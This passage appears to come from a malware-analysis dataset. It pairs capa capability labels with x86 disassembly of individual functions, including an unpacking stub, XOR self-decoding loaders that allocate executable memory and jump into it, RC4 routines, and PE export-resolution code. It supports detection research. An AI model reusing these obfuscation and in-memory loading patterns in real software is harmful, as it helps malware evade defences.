joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40aed0
Capabilities:
Hash data using sha256

Disassembly:
sub esp, 0x80
push ebx
mov ebx, ecx
mov ecx, dword [ebx]
cmp ecx, 0x3f
jne 0x40af4d
xor eax, eax
cmp dword [ebx + 4], eax
jbe 0x40af00
jmp 0x40aef0
mov cl, byte [ebx + eax + 8]
mov byte [ebx + eax + 0x24], cl
add eax, 1
cmp eax, dword [ebx + 4]
jb 0x40aef0
xor ecx, ecx
cmp dword [ebx + 0x1c], ecx
jbe 0x40af25
cmp eax, 0x20
jae 0x40b0a3
mov edx, dword [ebx + 0x20]
mov dl, byte [ecx + edx]
mov byte [eax + ebx + 0x24], dl
add ecx, 1
add eax, 1
cmp ecx, dword [ebx + 0x1c]
jb 0x40af07
cmp eax, 0x20
jae 0x40b0a3
mov ecx, 0x20
sub ecx, eax
push ecx
lea ebx, [eax + ebx + 0x24]
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
pop ebx
add esp, 0x80
ret
push esi
xor esi, esi
lea eax, [esi + 1]
xor edx, edx
mov dword [esp + 0x20], 0x6a09e667
mov dword [esp + 0x24], 0xbb67ae85
mov dword [esp + 0x28], 0x3c6ef372
mov dword [esp + 0x2c], 0xa54ff53a
mov dword [esp + 0x30], 0x510e527f
mov dword [esp + 0x34], 0x9b05688c
mov dword [esp + 0x38], 0x1f83d9ab
mov dword [esp + 0x3c], 0x5be0cd19
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
call fcn.004193c0
cmp edx, esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
mov byte [esp + 8], 0
mov byte [esp + 9], 0
mov byte [esp + 0xa], 0
mov byte [esp + 0xb], 0
mov byte [esp + 0xc], 0
mov byte [esp + 0xd], 0
mov byte [esp + 0xe], 0
mov byte [esp + 0xf], 0
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
jb 0x40b091
ja 0x40afec
cmp eax, esi
jbe 0x40b091
push ebp
push edi
mov edi, edi
mov eax, dword [ebx + 4]
push eax
lea eax, [ebx + 8]
push eax
lea edx, [esp + 0x30]
push edx
call fcn.0040abc0
mov eax, dword [ebx + 0x1c]
push eax
mov eax, dword [ebx + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0040abc0
mov esi, dword [esp + 0x60]
add esp, 0x18
mov ebp, 8
lea edi, [esp + 0x10]
and esi, 0x3f
mov cl, byte [edi]
mov byte [esp + esi + 0x50], cl
add esi, 1
add edi, 1
add dword [esp + 0x48], 1
adc dword [esp + 0x4c], 0
sub ebp, 1
cmp esi, 0x40
jne 0x40b050
lea edx, [esp + 0x28]
xor esi, esi
call fcn.0040ab00
test ebp, ebp
ja 0x40b027
xor eax, eax
add byte [esp + eax + 0x10], 1
jne 0x40b065
add eax, 1
cmp eax, 8
jl 0x40b056
add dword [esp + 0x18], 1
mov eax, dword [esp + 0x1c]
adc eax, 0
cmp eax, dword [esp + 0x24]
mov dword [esp + 0x1c], eax
jb 0x40aff0
ja 0x40b08f
mov edx, dword [esp + 0x20]
cmp dword [esp + 0x18], edx
jb 0x40aff0
pop edi
pop ebp
add ebx, 0x24
lea eax, [esp + 0x20]
push ebx
push eax
call fcn.0040ac10
add esp, 8
pop esi
pop ebx
add esp, 0x80
ret

Function at 0x412a11
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [ecx], 0x41b804
mov dword [ecx + 4], 0x41b7f4
add ecx, 0xc
jmp fcn.00412356
Function at 0x405f30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x405015
lea edi, [esi - 0x4015]
push edi
or ebp, 0xffffffff
jmp 0x405f52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x405f59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x405f48
mov eax, 1
add ebx, ebx
jne 0x405f6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x405f60
jne 0x405f7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x405f60
xor ecx, ecx
sub eax, 3
jb 0x405f90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x406002
mov ebp, eax
add ebx, ebx
jne 0x405f9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x405fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x405fcc
inc ecx
add ebx, ebx
jne 0x405fb8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x405fad
jne 0x405fc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x405fad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x405fec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x405fdd
jmp 0x405f4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x405fec
add edi, ecx
jmp 0x405f4e
pop esi
lea edi, [esi + 0x3000]
mov eax, dword [edi]
or eax, eax
je 0x40604b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x406009
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x602c]
or eax, eax
je 0x406045
mov dword [ebx], eax
add ebx, 4
jmp 0x406026
call dword [esi + 0x6030]
popal
jmp section.UPX0
Function at 0x405f70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x405f7f
pop dword [ebp - 0x38]
mov eax, 0xcc7a6026
sub eax, 0xcc3a00a7
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x84c1d216
sub dword [ebp - 0x48], 0x366f8ccb
mov dword [ebp - 0x44], 0x1ee726a9
add dword [ebp - 0x44], 0x134c259c
mov dword [ebp - 0x40], 0xe7fc298c
sub dword [ebp - 0x40], 0x9bafe55e
mov dword [ebp - 0x3c], 0xbd1e39d2
add dword [ebp - 0x3c], 0x42e1c62e
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x5c804d66
sub dword [ebp - 0x48], 0xe80de410
mov dword [ebp - 0x44], 0xa54b6052
sub dword [ebp - 0x44], 0x63defedd
mov dword [ebp - 0x40], 0x153912ae
add dword [ebp - 0x40], 0x4e3659be
mov dword [ebp - 0x3c], 0x5ba929df
sub dword [ebp - 0x3c], 0x5ba929df
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x36d7b
push 0
call eax
mov ecx, 0x382e
mov esi, eax
mov edx, 0x7b7ba145
add edx, 0x84c61ebb
add edx, dword [ebp - 0x38]
mov ebx, 0xf1ab51d1
mov edi, dword [edx]
sub dword [ebp - 0x1c], edx
xor edi, ebx
sub dword [ebp - 0x18], esi
mov dword [esi], edi
add dword [ebp - 4], esi
add esi, 0x386bf96b
sub esi, 0x386bf967
add edx, 4
loop 0x40608b
add eax, 0xd38b
xor ebx, ebx
add ebx, eax
add eax, 0x14ee7e1d
add eax, 0xeb1181e8
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x1000ad31
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [0x1003b108]
add edx, 0xffffd94f
mov dword [0x1003b104], edx
mov esi, dword [ebp - 0xc]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ecx
jmp 0x1000adae
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov dword [0x1003b104], ecx
mov edx, dword [ebp - 0x18]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x28], eax
je 0x1000adf4
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1000ae7d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x1000ae32
jmp 0x1000ad8f
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov edx, ecx
add edx, 0xffffe3e9
mov esi, dword [ebp - 0x18]
cmp word [esi + eax*2], 0
mov edi, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edi
je 0x1000ad74
mov eax, dword [ebp - 0x30]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
jl 0x1000adae
jmp 0x1000ad74
mov dword [0x1003b108], 0x7a0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1000ad8f
mov eax, dword [ebp - 0x34]
add eax, 0xffffe7d7
mov dword [0x1003b104], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1000ad99
jmp 0x1000ad8f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1000ad8f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1000ad8f
mov eax, 1
mov dword [0x1003b104], 0xb63
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x2c], eax
jne 0x1000ad8f
mov eax, dword [ebp - 0x2c]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret
Function at 0x1000ae9c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.1000b77c
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, dword [0x1003b104]
add edi, 0x20f3
mov dword [0x1003b104], edi
mov esi, dword [eax + esi + 0x78]
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1003b108], 0x1487
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x1000afd4
jmp 0x1000af26
xor eax, eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov edx, dword [ebp - 0x2c]
add edx, 2
mov esi, dword [ebp - 0x18]
cmp ecx, esi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x24], eax
jb 0x1000af38
jmp 0x1000afd4
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x1000afa3
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x3c], eax
jne 0x1000af52
mov al, byte [ebp - 0x42]
test al, 1
jne 0x1000afaf
jmp 0x1000aefd
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1003b104], 0x954
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000b3e9
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1003b110], 0
mov byte [0x1003b114], 0
mov edi, dword [0x1003b104]
add edi, 0xe84
mov dword [0x1003b108], edi
mov dword [0x1003b10c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1000b4e8
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x1003b118], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x1003b110]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1003b118], esi
mov dword [0x1003b104], 0x233b
mov eax, esi
cdq
idiv ecx
mov dword [0x1003b110], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x1003b114], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x1003b114]
mov esi, dword [0x1003b110]
mov byte [ebx + esi], cl
mov esi, dword [0x1003b10c]
add esi, 1
mov dword [0x1003b10c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x1000b43b
jmp 0x1000b51a
xor eax, eax
mov dword [0x1003b10c], 0
mov dword [ebp - 0x20], eax
jmp 0x1000b43b
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov dword [0x1003b108], 0x8b8
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1003b10c]
add eax, 1
mov dword [0x1003b10c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1000b4e8
jmp 0x1000b4d4
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1000b539
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x1001bfe7]
mov esi, 0xe
lea edi, [ebp - 0x28]
mov dword [0x1003b104], 0x1540
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
call fcn.1000b137
mov dword [0x1003b104], 0x1b9e
call fcn.1000afdf
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.1000a677
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
je 0x1000b662
mov dword [0x1003b104], 0x505
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x1003b104], 0x1847
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.1000a7d7
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x1003b104], 0x14d0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x44], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x30], ecx
mov dword [0x1003b108], 0xc82
cmp ecx, 0
mov dword [ebp - 0x40], eax
je 0x1000b662
mov eax, dword [0x1003b104]
mov ecx, dword [ebp - 0x44]
add ecx, 0x1cb3
add eax, 0x2182
mov dword [0x1003b104], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop edi
pop ebp
ret
Function at 0x1000b925
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1003b10c], 0
mov dword [0x1003b110], 0
mov dword [0x1003b11c], 0
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x1000b982
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add eax, 1
mov dword [0x1003b104], 0x581
mov edi, edx
add edi, 1
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x1003b10c], edx
mov dword [0x1003b108], 0x20ec
mov ebx, dword [ebp - 0x20]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x1003b110], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x1003b114], cl
mov dword [0x1003b108], 0x1c17
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1003b114]
mov edx, dword [0x1003b110]
mov byte [ebx + edx], cl
mov edx, dword [0x1003b10c]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1003b110]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1003b11c], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x2c]
xor cl, byte [edx + esi]
mov byte [0x1003b120], cl
mov dword [0x1003b104], 0x13d7
mov dword [0x1003b108], 0x1ac9
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], cl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x34], edi
je 0x1000b97a
mov eax, dword [0x1003b10c]
mov ecx, dword [0x1003b110]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
jmp 0x1000b982
Function at 0x1000ba7d
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [0x1003b104], 0x895
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000a9fa
lea ecx, [0x1000acba]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x78], edx
mov dword [esp + 0x5c], 0x12f200
mov edx, dword [0x1003b0f0]
mov dword [esp + 0x44], edx
mov edx, dword [0x1003b0f4]
mov dword [esp + 0x70], edx
mov edx, dword [0x1003b0f8]
mov dword [esp + 0x40], edx
mov edx, dword [0x1003b0fc]
mov dword [esp + 0x4c], edx
mov edx, dword [0x1003b100]
mov dword [esp + 0x7c], edx
mov dword [0x1003b108], 0x1d3f
mov dword [0x1003b104], 0x2324
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x1000bb57
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xc]
mov dword [esp + 0x34], eax
mov dword [0x1003b104], 0x4417
mov dword [0x1003b108], 0x94b
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x3c], edx
call fcn.1000ad31
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x1000bb8e
jmp 0x1000bb13
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x1000bb7a
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x1000bb1b
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x1000bb57
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1000b539
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0x10], eax
jmp 0x1000bb13
Function at 0x403ce0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x403d18
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x403d0e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x403d1a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x403d00
xor eax, eax
pop ebx
pop esi
ret

Function at 0x4034cc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4034db
pop dword [ebp - 0x50]
mov eax, 0xdf3c2ac7
add eax, 0x21040a14
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x266c621f
add dword [ebp - 0x60], 0x27e5e32c
mov dword [ebp - 0x5c], 0x62a166bd
sub dword [ebp - 0x5c], 0x306e1a78
mov dword [ebp - 0x58], 0x924dc1f0
sub dword [ebp - 0x58], 0x46017dc2
mov dword [ebp - 0x54], 0x84d11ce3
sub dword [ebp - 0x54], 0x84d11ce3
lea eax, [ebp - 0x60]
push eax
mov eax, 0x6b872c1c
sub eax, 0x6b46ebc8
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xd3270b30
add dword [ebp - 0x60], 0xa14b5e26
mov dword [ebp - 0x5c], 0x677e1510
add dword [ebp - 0x5c], 0xd9ee4c65
mov dword [ebp - 0x58], 0xc8006a8a
add dword [ebp - 0x58], 0x9b6f01e2
mov dword [ebp - 0x54], 0xc955d015
add dword [ebp - 0x54], 0x36aa2feb
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xe675bd5
add eax, 0xf1d8e47b
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x34870
push 0
call eax
mov ecx, 0x5c5f7af4
add ecx, 0xa3a0c39d
mov ebx, eax
mov esi, 0xbe8418ff
sub esi, 0xbe4394ff
add esi, dword [ebp - 0x50]
mov edi, 0x769dd7f2
xor dword [ebp - 0x30], 0x1d573b35
mov edx, dword [esi]
xor dword [ebp - 0x14], 0x294f66da
xor edx, edi
xor dword [ebp - 0x14], eax
mov dword [ebx], edx
add ebx, 4
add esi, 0x9f1471d4
add esi, 0x60eb8e30
loop 0x4035f7
add eax, 0x1112b328
add eax, 0xeeee39ef
xor ebx, ebx
add ebx, eax
add eax, 0x983a6c83
sub eax, 0x983a6c7e
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401d67
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x518
mov eax, dword [0x40f030]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x40f038]
test eax, 0xc000000
jne 0x406982
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401d55
leave
ret
test dword [ebp + 8], eax
je 0x401d8c
push esi
xor eax, eax
mov word [ebp - 0x504], ax
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
xor esi, esi
push esi
push esi
lea eax, [ebp - 0x518]
push eax
push 0x200
lea eax, [ebp - 0x504]
push eax
call fcn.0040d598
test eax, eax
jl 0x406aa3
test dword [0x40f038], 0x8000000
push edi
mov edi, 0x406af8
je 0x406a84
cmp dword [0x40f2a4], esi
je 0x406a84
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x506]
push eax
movzx eax, word [ebp - 0x508]
push eax
movzx eax, word [ebp - 0x50a]
push eax
movzx eax, word [ebp - 0x50c]
push eax
movzx eax, word [ebp - 0x50e]
push eax
movzx eax, word [ebp - 0x512]
push eax
movzx eax, word [ebp - 0x514]
push eax
push 0x406ab0
lea eax, [ebp - 0x104]
push 0x80
push eax
call fcn.0040d55c
add esp, 0x28
test eax, eax
jl 0x406a58
push dword [0x40f2a4]
lea eax, [ebp - 0x104]
push eax
call sub.msvcrt.dll_fputws
pop ecx
pop ecx
push dword [0x40f2a4]
lea eax, [ebp - 0x504]
push eax
call sub.msvcrt.dll_fputws
push dword [0x40f2a4]
push edi
call sub.msvcrt.dll_fputws
push dword [0x40f2a4]
call sub.msvcrt.dll_fflush
add esp, 0x14
test dword [0x40f038], 0x4000000
je 0x406aa2
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea eax, [ebp - 0x504]
push eax
call esi
push edi
call esi
pop edi
pop esi
jmp 0x401d8c
Function at 0x40289b
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword [esi + 0x30], 0xffffffff
je 0x404901
push edi
xor edi, edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [esi + 0x34], eax
cmp eax, edi
je 0x404918
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x4028f3
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
je 0x40490b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret
mov eax, 0x80070057
jmp 0x4028eb
push dword [esi + 0x34]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [esi + 0x34], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, edi
jle 0x4028ea
and eax, 0xffff
or eax, 0x80070000
jmp 0x4028ea

Function at 0x4029df
Capabilities:
Get user security identifier

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0xc]
push esi
xor esi, esi
cmp ebx, esi
je 0x404965
cmp dword [ebp + 8], esi
je 0x40496f
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp + 0xc]
push eax
push esi
lea eax, [ebp - 4]
push eax
push esi
push dword [ebp + 8]
mov dword [ebx], esi
push esi
mov dword [ebp + 0xc], esi
mov dword [ebp - 4], esi
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x404990
mov eax, dword [ebp + 0xc]
push 2
xor ecx, ecx
pop edx
mul edx
seto cl
neg ecx
or eax, ecx
push eax
call fcn.004029c1
pop ecx
mov dword [ebp - 8], eax
cmp eax, esi
je 0x402a99
push dword [ebp - 4]
call dword [sym.imp.msvcrt.dll_malloc]
pop ecx
mov dword [ebx], eax
cmp eax, esi
je 0x402a92
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp + 0xc]
push ecx
push dword [ebp - 8]
